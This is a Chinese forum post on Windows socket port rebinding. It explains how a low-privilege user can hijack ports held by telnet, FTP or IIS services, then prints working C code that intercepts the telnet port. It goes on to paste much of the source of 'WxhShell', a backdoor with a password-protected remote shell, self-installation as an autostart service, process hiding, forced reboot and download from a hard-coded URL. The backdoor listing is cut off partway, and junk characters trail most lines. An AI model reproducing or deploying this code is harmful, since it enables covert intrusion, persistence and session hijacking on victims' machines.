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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: 6 g)X&pZ  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); q22@ZRw  
&\W5|*`x-  
  saddr.sin_family = AF_INET; YDaGr6y4i  
$]~|W3\G  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); FPkig`(3  
`{&l _  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); I#- T/1N  
B*^8kc:)L  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 e/Y& d9` I  
F$HL \y  
  这意味着什么?意味着可以进行如下的攻击: (G 9Ku 8Y  
yPk s,7U  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 1>)uI@?Rb  
]htx9ds=  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) \79aG3MyK  
&`}ACTY'P  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 /rnP/X)T  
R_duPaWc@  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  fO}Y$y\q  
P,bis7X.  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 1i 7p'  
]8|peo{  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 ar:qCq$\  
=`t%p1   
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 \ocC'FmE  
lTJM}K  
  #include +K61-Div  
  #include /'L/O;H20  
  #include X({R+  
  #include    /H$/s=YU\U  
  DWORD WINAPI ClientThread(LPVOID lpParam);   4~e6z(  
  int main() vJg^uf)  
  { ,a\pdEPj  
  WORD wVersionRequested; ee*E:Ltz\  
  DWORD ret; f/pr  
  WSADATA wsaData; K~14;  
  BOOL val; V3[>^ZCA  
  SOCKADDR_IN saddr; Jm3iYR+,  
  SOCKADDR_IN scaddr; y2@8?  
  int err; .xg, j{%(  
  SOCKET s; {3G2-$yb  
  SOCKET sc; }O8#4-E_Ji  
  int caddsize; Os)}kkja  
  HANDLE mt; D1~3 3;  
  DWORD tid;   a*?,wmzl  
  wVersionRequested = MAKEWORD( 2, 2 ); =aRE  
  err = WSAStartup( wVersionRequested, &wsaData ); 4fau 9bW  
  if ( err != 0 ) { |r/4 ({n  
  printf("error!WSAStartup failed!\n"); \q:PU6q  
  return -1; cp 5  
  } Am)XbN')1  
  saddr.sin_family = AF_INET; gg QI  
   htHnQ4Q  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 ZJ}|t  
oT[8Iu  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); z/t+t_y  
  saddr.sin_port = htons(23); ym6gj#2m  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) QE~#eo  
  { /;xmM 2B'  
  printf("error!socket failed!\n"); T^.W'  
  return -1; `YPNVm<3)  
  } =xPBolxm5U  
  val = TRUE; qh 9Ix  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 b;$j h   
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) &&($LnyA]  
  { `KJ BQK  
  printf("error!setsockopt failed!\n"); v1~`76^  
  return -1; v`9n'+h-c6  
  } <rFKJ^B  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; r?wE;gH  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 -,} ppTG  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 'E~[I"0  
2Ls  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) \7A6+[ `fa  
  { roE*8:Y  
  ret=GetLastError(); AE&IN.-  
  printf("error!bind failed!\n"); }|4dEao\  
  return -1; jl~?I*Gr  
  } &ajpD sz;  
  listen(s,2); zIgD R  
  while(1) J(%kcueb  
  { |T^c(RpOE  
  caddsize = sizeof(scaddr); *8j2iu-|  
  //接受连接请求 P]||Xbbp  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); X00!@ ^g  
  if(sc!=INVALID_SOCKET) w|WehNGr  
  { b+ J)  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); x@480r  
  if(mt==NULL) ]BBL=$*  
  { 1U;p+k5c  
  printf("Thread Creat Failed!\n"); pm}!?TL  
  break; j?'It`s  
  } ET}Dh3A  
  } 4^Ghn  
  CloseHandle(mt); :s`\jJ  
  } }dO^q-t$3  
  closesocket(s); ( mKuFz7  
  WSACleanup(); 7!-y72qx  
  return 0; 63n<4VSH  
  }   Vpsv@\@J>  
  DWORD WINAPI ClientThread(LPVOID lpParam) pt+[BF6P  
  { "8h7"WR  
  SOCKET ss = (SOCKET)lpParam; 8m;tgMFO  
  SOCKET sc; kZ3w2=x3v  
  unsigned char buf[4096]; b{wj4  
  SOCKADDR_IN saddr; %#,EqN  
  long num; and)>$)|  
  DWORD val; L.) 0!1  
  DWORD ret; +$H`/^a.  
  //如果是隐藏端口应用的话,可以在此处加一些判断 J)leRR&  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   ',P E25Z  
  saddr.sin_family = AF_INET; &?gvW//L2  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); 7;;HP`vY  
  saddr.sin_port = htons(23); {@w!kl~8  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) G@Y!*ZH*f  
  { _}(ej&'f  
  printf("error!socket failed!\n"); E/_I$<,_y  
  return -1; mh=YrDU+L  
  } >|@i8?|E  
  val = 100; ~i y]X:U  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) NLA/XZ  
  { W6 U**ir.  
  ret = GetLastError(); [:(^n0%  
  return -1; _M;M-hk/  
  } -r!sY+Z>  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 8Cw+<A*  
  { U%nLo[k  
  ret = GetLastError(); u+Q<> >lU  
  return -1; 6@[7  
  } b qNM  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) ;5 JzrbtL  
  { 7r4|>F  
  printf("error!socket connect failed!\n");  YXr"  
  closesocket(sc); ht 1d[  
  closesocket(ss); U4*Q;A#  
  return -1; ^*=.Vuqy  
  } 08TeGUjJ  
  while(1) yMoV|U6  
  { P 4|p[V8  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 wjeuZNYf  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 OW|5IEC  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 chF@',9t  
  num = recv(ss,buf,4096,0); IDIok~B=e  
  if(num>0) M'D l_dx-  
  send(sc,buf,num,0); "bC1dl<  
  else if(num==0) k6?;D_dm  
  break; [R~`6  
  num = recv(sc,buf,4096,0); M#7w54~b?M  
  if(num>0) m<X[s  
  send(ss,buf,num,0); $|V@3`0  
  else if(num==0) ?\.aq p1B  
  break; /:OSql5K*<  
  } }[>X}"_e  
  closesocket(ss); U$,W/G}m  
  closesocket(sc); /$ :w8  
  return 0 ; )Z0bMO<  
  } iir]M`A.-  
<_N<L\  
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========================================================== e 1$<,.>  
aF41?.s  
下边附上一个代码,,WXhSHELL ,p\:Z3{ZH  
[, )G\  
========================================================== V|n}v?f_q  
?8GggJC  
#include "stdafx.h" t0*,%ge:<  
Oe["4C  
#include <stdio.h> r$ 8 ^K\oF  
#include <string.h> >{HQ"{Q  
#include <windows.h> G)G 257K"~  
#include <winsock2.h> &xYO6_.  
#include <winsvc.h> ^.|P&f~  
#include <urlmon.h> _P{f+HxU  
y k{8O.g  
#pragma comment (lib, "Ws2_32.lib") s9)U",  
#pragma comment (lib, "urlmon.lib") OD O'!T-  
;LXwW(_6d  
#define MAX_USER   100 // 最大客户端连接数 p-Jp/*R5  
#define BUF_SOCK   200 // sock buffer 9z$fDs}.q  
#define KEY_BUFF   255 // 输入 buffer 2]}4)_&d<e  
s1GR!*z>  
#define REBOOT     0   // 重启 N a $eeM  
#define SHUTDOWN   1   // 关机 $"P[nNW3  
DQ*T2*L  
#define DEF_PORT   5000 // 监听端口 nUy.gAb  
* ",/7(  
#define REG_LEN     16   // 注册表键长度 fR$_=WWN>h  
#define SVC_LEN     80   // NT服务名长度 ' %&gER  
{gkzo3  
// 从dll定义API EQTJ=\WFF  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); g]Jt (aYK  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); w5+H9R6  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); + ;LO|!  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); lPyY  
LGdM40  
// wxhshell配置信息 ?XIB\7}  
struct WSCFG { ~9[O'  
  int ws_port;         // 监听端口 Ht9QINo  
  char ws_passstr[REG_LEN]; // 口令 *t%Z'IA  
  int ws_autoins;       // 安装标记, 1=yes 0=no [`4  
  char ws_regname[REG_LEN]; // 注册表键名 iLC.?v2=  
  char ws_svcname[REG_LEN]; // 服务名 4Y5lP00!}  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 $Vp*,oRL  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 .US=fWyrb  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 /Bw <?:  
int ws_downexe;       // 下载执行标记, 1=yes 0=no q)j_QbW)  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" -Lhq.Q*a  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 B{ Ab #  
QJ,[K _  
}; 5(=5GkE)>  
o"!C8s_6  
// default Wxhshell configuration XU y[l  
struct WSCFG wscfg={DEF_PORT, ,6EhtNDu  
    "xuhuanlingzhe", teKx^ 'c'  
    1, ?:$\ t?e^  
    "Wxhshell", , UsY0YC  
    "Wxhshell", Fd86P.Df  
            "WxhShell Service", ]?6Pt:N2  
    "Wrsky Windows CmdShell Service", &.l^>#  
    "Please Input Your Password: ", 'L@kZ  
  1, DYDeb i6  
  "http://www.wrsky.com/wxhshell.exe", HSk_'g(\0  
  "Wxhshell.exe" xfa-   
    }; :o 8XG  
S54q?sb_  
// 消息定义模块 IE|? &O  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 2O 2HmL  
char *msg_ws_prompt="\n\r? for help\n\r#>"; Xwo%DZKN  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; ;=p3L<~c`K  
char *msg_ws_ext="\n\rExit."; ![i)_XO  
char *msg_ws_end="\n\rQuit."; $*Kr4vh  
char *msg_ws_boot="\n\rReboot..."; KTq+JT u  
char *msg_ws_poff="\n\rShutdown..."; -|GKtZ]}  
char *msg_ws_down="\n\rSave to "; \i'Z(1  
R*=88ds  
char *msg_ws_err="\n\rErr!"; FS)"MDs  
char *msg_ws_ok="\n\rOK!"; 'eo/"~/*w  
; ,}Dh/&E  
char ExeFile[MAX_PATH]; CkV5PU  
int nUser = 0; Obf RwZh?q  
HANDLE handles[MAX_USER]; w^"IR  
int OsIsNt; v YJ9G"E  
?g9:xgkF ^  
SERVICE_STATUS       serviceStatus; d9&   
SERVICE_STATUS_HANDLE   hServiceStatusHandle; jsFfrS"*  
jF}-dfe  
// 函数声明 )qRH?Hsb7  
int Install(void); Vel}lQD  
int Uninstall(void); %s! |,Cu  
int DownloadFile(char *sURL, SOCKET wsh); H76iBJ66  
int Boot(int flag); dEZUK vo  
void HideProc(void); lrAhdi  
int GetOsVer(void); ]|-sZ<?<i  
int Wxhshell(SOCKET wsl); '451H3LC0  
void TalkWithClient(void *cs); fX.1=BjXi  
int CmdShell(SOCKET sock); 4*ZY#7h  
int StartFromService(void); \xlG3nz  
int StartWxhshell(LPSTR lpCmdLine); M!46^q~-  
:sQ>oNnz  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); _U_O0@xi  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); g/FZ?Wo  
kH5D%`Kw  
// 数据结构和表定义 31~nay15  
SERVICE_TABLE_ENTRY DispatchTable[] = 9Pb6Z}  
{ )q66^% ;S  
{wscfg.ws_svcname, NTServiceMain}, 57~y 7/0  
{NULL, NULL} Ptc+ypTu  
}; -&COI-P8  
VV{>Kq+&,v  
// 自我安装 aeISb83Y|  
int Install(void) }T0O~c{$i  
{ PY;tu#W!%  
  char svExeFile[MAX_PATH]; Khb Ku0Z  
  HKEY key; 9Ta0Li  
  strcpy(svExeFile,ExeFile); dU#-;/}o  
CLTkyS)C  
// 如果是win9x系统,修改注册表设为自启动 ;=7K*npT  
if(!OsIsNt) { V)5K/ U{  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { rlaeqG  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); W6Mq:?+D  
  RegCloseKey(key); '4nJ*Xa  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { D#AqZS>B  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Q~tXT_  
  RegCloseKey(key); i y8Jl  
  return 0; 0,nz*UDk  
    } - V:HT j  
  } ,3!$mQL=  
} *E*oWb]H  
else { {zWR)o .=  
9b/Dswxjx  
// 如果是NT以上系统,安装为系统服务 4-t^?T: qF  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 5f{P% x(  
if (schSCManager!=0) :\vs kk),  
{ sO` oapy  
  SC_HANDLE schService = CreateService n>?D-)g  
  ( +SR{ FF  
  schSCManager, S3:AitGJ  
  wscfg.ws_svcname, zs~Tu  
  wscfg.ws_svcdisp, lH;V9D^  
  SERVICE_ALL_ACCESS, A#6zI NK#B  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , LQHL4jRXU  
  SERVICE_AUTO_START, {O9(<g  
  SERVICE_ERROR_NORMAL, 8Z0x*Ssk  
  svExeFile, Z2gWa~dBC  
  NULL, {nbT$3=Zt  
  NULL, <)p.GAZ  
  NULL, Lo~ ;pvv  
  NULL, 1_<x%>zG  
  NULL 59O-"Sc[  
  ); o//h|fU@  
  if (schService!=0) %uN<^`JZ  
  { ]q.%_  
  CloseServiceHandle(schService); -?-XO<I  
  CloseServiceHandle(schSCManager); h7 E~I J  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); g"Y _!)X  
  strcat(svExeFile,wscfg.ws_svcname); fO$){(]^  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { dYwkP^KB  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); PR Mg6  
  RegCloseKey(key); &s='$a; 4  
  return 0; UWF \Vx*)b  
    } QYMfxpiC  
  } yo=L1; H  
  CloseServiceHandle(schSCManager); {u/1ph-  
} Y@`uBB[  
} >Jmla~A  
c 3O/#*  
return 1; F?|Efpzow?  
} *m}8L%<HT  
X>Vc4n<}  
// 自我卸载 =w! ik9  
int Uninstall(void) bDM},(  
{ R>* z8n  
  HKEY key; *^uK=CH1?(  
n&njSj/  
if(!OsIsNt) { W48RZghmx  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { TIKkS*$  
  RegDeleteValue(key,wscfg.ws_regname); *3H=t$1G}  
  RegCloseKey(key); _Xt/U>N  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 16zReI(  
  RegDeleteValue(key,wscfg.ws_regname); V9,<>  
  RegCloseKey(key); 8i154#l+\  
  return 0; 9F>`M  
  } >[AmIYg  
} Tb$))O}  
} 3)y1q>CQf  
else { 9h amxi  
q1T)H2S  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); I&{T 4.B:U  
if (schSCManager!=0) s`jlE|jtN  
{ n.&7lg^X  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); SO=gG 2E  
  if (schService!=0)  xgcxA:  
  { UDh \%?j  
  if(DeleteService(schService)!=0) { (N}-]%#  
  CloseServiceHandle(schService); ~;3yjO)l?)  
  CloseServiceHandle(schSCManager); z'U.}27&o  
  return 0; vN'+5*Cgy6  
  } !fzS' pkk.  
  CloseServiceHandle(schService); !+%gJiu:  
  } [UA*We 1  
  CloseServiceHandle(schSCManager); ,*J@ic7"  
} s/tLY/U/  
} Xg C^-A w  
HG;;M6  
return 1; "pM >TMAE  
} @."K"i'Bl  
w.q`E@ T*  
// 从指定url下载文件 hzsQK _;S  
int DownloadFile(char *sURL, SOCKET wsh) 2iG+Ek-?"  
{ ?4bYb]8Z  
  HRESULT hr; 2g= 6 s  
char seps[]= "/"; rGP;0KtQ  
char *token; G*I    
char *file; s<zN`&t  
char myURL[MAX_PATH]; lxyTh'  
char myFILE[MAX_PATH]; )8A.Wg4S;c  
!:&SfPv  
strcpy(myURL,sURL); ,VS\mG/}s  
  token=strtok(myURL,seps); %J M$]  
  while(token!=NULL) 9;+&}:IVS  
  { /oT~CB..  
    file=token; DyN[Yp|V  
  token=strtok(NULL,seps); X"!j_*&ED  
  } #<xFO^TB  
w a_{\v=  
GetCurrentDirectory(MAX_PATH,myFILE); gADf9x"b  
strcat(myFILE, "\\"); |*NLWN.ja)  
strcat(myFILE, file); |dgiW"tUm  
  send(wsh,myFILE,strlen(myFILE),0); F9 r5 Z  
send(wsh,"...",3,0); h9QM nH'  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); SaXt"Ju,AH  
  if(hr==S_OK) vwT1bw.  
return 0; J@2jx4   
else  Zi~.  
return 1; 1m~|e.g_'`  
Mt4  
}  ;j26(dH  
s9ix&m  
// 系统电源模块 nK;d\DO  
int Boot(int flag) y|| n9  
{ 9i\RdJv.  
  HANDLE hToken; 7Mh'x:p  
  TOKEN_PRIVILEGES tkp; 28"1ONs 3  
VZi1b0k1.  
  if(OsIsNt) {  p& _Z}Wv  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); JTKS5 r7?  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 05 6K)E  
    tkp.PrivilegeCount = 1; 5nx*D"  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; epsRv&LfC  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); KNeVSZT  
if(flag==REBOOT) { h>`[p,o  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) H1k)ya x4_  
  return 0; -s 0SQe{!_  
} p%$r\G-x  
else { bo=H-d|  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ^aB;Oo  
  return 0; g$uiwqNA%  
} wO,qFY  
  } +S~ u,=  
  else { { 4j<X5V  
if(flag==REBOOT) { :zU4K=kR  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ~!({U nt+'  
  return 0; !f/K:CK|  
}  vc: kY  
else { 8XH;<z<oJ  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) E:9RskI  
  return 0; &}u_e`A  
} w: BJ4bi=  
} ._0$#J S[  
5S4Nx>  
return 1; X?haHM#]  
} /RB%m8@;  
%`bs<ZWT  
// win9x进程隐藏模块 ;-1KPDIp`  
void HideProc(void) dzIBdth  
{ < dE7+w  
 c k;:84  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 1O Ft}>1  
  if ( hKernel != NULL ) lz`\Q6rZ  
  { &- p(3$jn7  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); D\G 8p;  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); =_OJ 7K'  
    FreeLibrary(hKernel); z"< S$sDh  
  } ;rf{T[i  
:7(fBf5  
return; t XzuP_0  
} <IZr..|O  
t 9(,JC0  
// 获取操作系统版本 q,sO<1wAT\  
int GetOsVer(void) D!* SA  
{ yFAUD ro  
  OSVERSIONINFO winfo; w_U#z(W3l  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); W _[9  
  GetVersionEx(&winfo); S8v,' Cc  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ^X#)'\T  
  return 1; :30daKo  
  else w8+ phN(-M  
  return 0; d*u3]&?x&f  
} %;wD B2k*  
z/j*zU `  
// 客户端句柄模块 /*g0M2+OZo  
int Wxhshell(SOCKET wsl) hzAuj0-A  
{ #IppjaPl8  
  SOCKET wsh; VN-0hw/A  
  struct sockaddr_in client; .\`M oH  
  DWORD myID; tuH#Cy  
BHpay  
  while(nUser<MAX_USER) &4wSX{c/P  
{ +sx(q@  
  int nSize=sizeof(client); ;- i)}<  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); HE*^!2f  
  if(wsh==INVALID_SOCKET) return 1; bv7)[,i  
V~Guw[RA  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); Vb\^xdL>  
if(handles[nUser]==0) #pWy%U  
  closesocket(wsh); fm#7}Y  
else D8k >f ]  
  nUser++; uaD+G:{ [  
  } aAcQmq TT  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); UaG&HGg]!  
&#C|  
  return 0; cm!vuoB~~  
} iJZvVs',  
:"Vmy.xq  
// 关闭 socket di;~$rI!?  
void CloseIt(SOCKET wsh) B|syb!g  
{ Bz{"K  
closesocket(wsh); /?>W\bP<  
nUser--; f3;[ZS  
ExitThread(0); .mnkV -m  
} 2kgSIvk\  
-4Q\FLC'k  
// 客户端请求句柄 fda2dY;  
void TalkWithClient(void *cs) Y;\@ 5TgQ,  
{ a{e1g93}  
ZkibfVwe  
  SOCKET wsh=(SOCKET)cs; p>U= Jg  
  char pwd[SVC_LEN]; >xRUw5jN  
  char cmd[KEY_BUFF]; "SuG6!k3  
char chr[1]; #m{F*(%  
int i,j; 6Po {tKU  
asW W@E  
  while (nUser < MAX_USER) { {#t7lV'4  
E?&YcVA  
if(wscfg.ws_passstr) { R<3 -!p1v  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Nn0j}ZI)1  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); }V/iU_)  
  //ZeroMemory(pwd,KEY_BUFF); ~Y1nU-  
      i=0; a/CY@V-  
  while(i<SVC_LEN) { rZAP3)dA  
9G1ZW=83  
  // 设置超时 P(\x. d:  
  fd_set FdRead; '0Q/oU  
  struct timeval TimeOut; sC f)#6mI  
  FD_ZERO(&FdRead); ow+_g R-  
  FD_SET(wsh,&FdRead); &G-dxET]  
  TimeOut.tv_sec=8; $;";i:H`  
  TimeOut.tv_usec=0; O*F= xG  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); N+]HJ`K  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 6 {`J I  
[$]-W$j+  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); D3O)Tj@:}(  
  pwd=chr[0]; ^]/V-!j  
  if(chr[0]==0xd || chr[0]==0xa) { '8 ^cl:X  
  pwd=0; Vo%ikR #  
  break; juWbd|ad"  
  } ?>R(;B|ER  
  i++; <\d`}A:&  
    } C szZr>Z  
1vh[sKv9%  
  // 如果是非法用户,关闭 socket VYK%0S9yH[  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); {p$X*2ReB  
} 4y)6!p  
1Fsa}UK  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); H.Z<T{y;  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ErQGVE;zk  
 u7&5t  
while(1) { 7 /" Z/^  
-23sm~`  
  ZeroMemory(cmd,KEY_BUFF); dM -<aq  
Ln4Dq[M  
      // 自动支持客户端 telnet标准   kK&AK2  
  j=0; 5o^\jTEl^  
  while(j<KEY_BUFF) { M"Y ,kA|+  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); WxJaE;`Ige  
  cmd[j]=chr[0]; L'e|D=y  
  if(chr[0]==0xa || chr[0]==0xd) { Lq#!}QcW=  
  cmd[j]=0; r0<zy_d'  
  break; LCSJIt  
  } uesIkJ^Q[  
  j++; j3R}]F'C*  
    } f?QP(+M5.  
Tkj F /zv  
  // 下载文件 /mn'9=ks  
  if(strstr(cmd,"http://")) { p8iKZI]g  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); Q0XSQOl  
  if(DownloadFile(cmd,wsh)) xd`\Ai  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); I!Fd~g9I4  
  else Gfep m$*%  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); "`KT7  
  } VTO92Eo  
  else { nwi8>MG  
R,l*@3Q  
    switch(cmd[0]) { #=ko4?Wr(  
  }'p*C$  
  // 帮助 MMQ\V(C  
  case '?': { 0Y!~xyg/  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); I#(?xHx  
    break; K:$GmV9o  
  } 3my_Gp  
  // 安装 A*kN I  
  case 'i': { *"V) h I5  
    if(Install()) u&j_;Y!6  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); $%1oZ{&M  
    else T'5MO\  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); +^$E)Ol  
    break; S<I9`k G  
    } [1e/@eC5  
  // 卸载 5hDm[*83  
  case 'r': { bW GMgC  
    if(Uninstall()) Rf!$n7& \  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); mW3 IR3 b  
    else -c[fg+L9  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 2FM}" g<8  
    break; WXa<(\S\V  
    } ,C^u8Z|T  
  // 显示 wxhshell 所在路径 Z>.('  
  case 'p': { g T0@pxl  
    char svExeFile[MAX_PATH]; b~!Q3o'W  
    strcpy(svExeFile,"\n\r"); @ n$/2y_.  
      strcat(svExeFile,ExeFile); 7Y 4!   
        send(wsh,svExeFile,strlen(svExeFile),0); G#.q%Up  
    break; (Wn^~-`=+  
    } Xz'o<S  
  // 重启 p-6T,')  
  case 'b': { G[zVGqk  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); G4EuW *~  
    if(Boot(REBOOT)) A ? [Wfq|  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); MwD8a<2Dg  
    else { LKM;T-  
    closesocket(wsh); >B$B|g~  
    ExitThread(0); MVDy|i4  
    } X(;W Y^i!  
    break; <@>l9_=R  
    } Bf$` Hf6  
  // 关机 wd2z=^S~  
  case 'd': { B*}:YV  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 2GRv%:rZ  
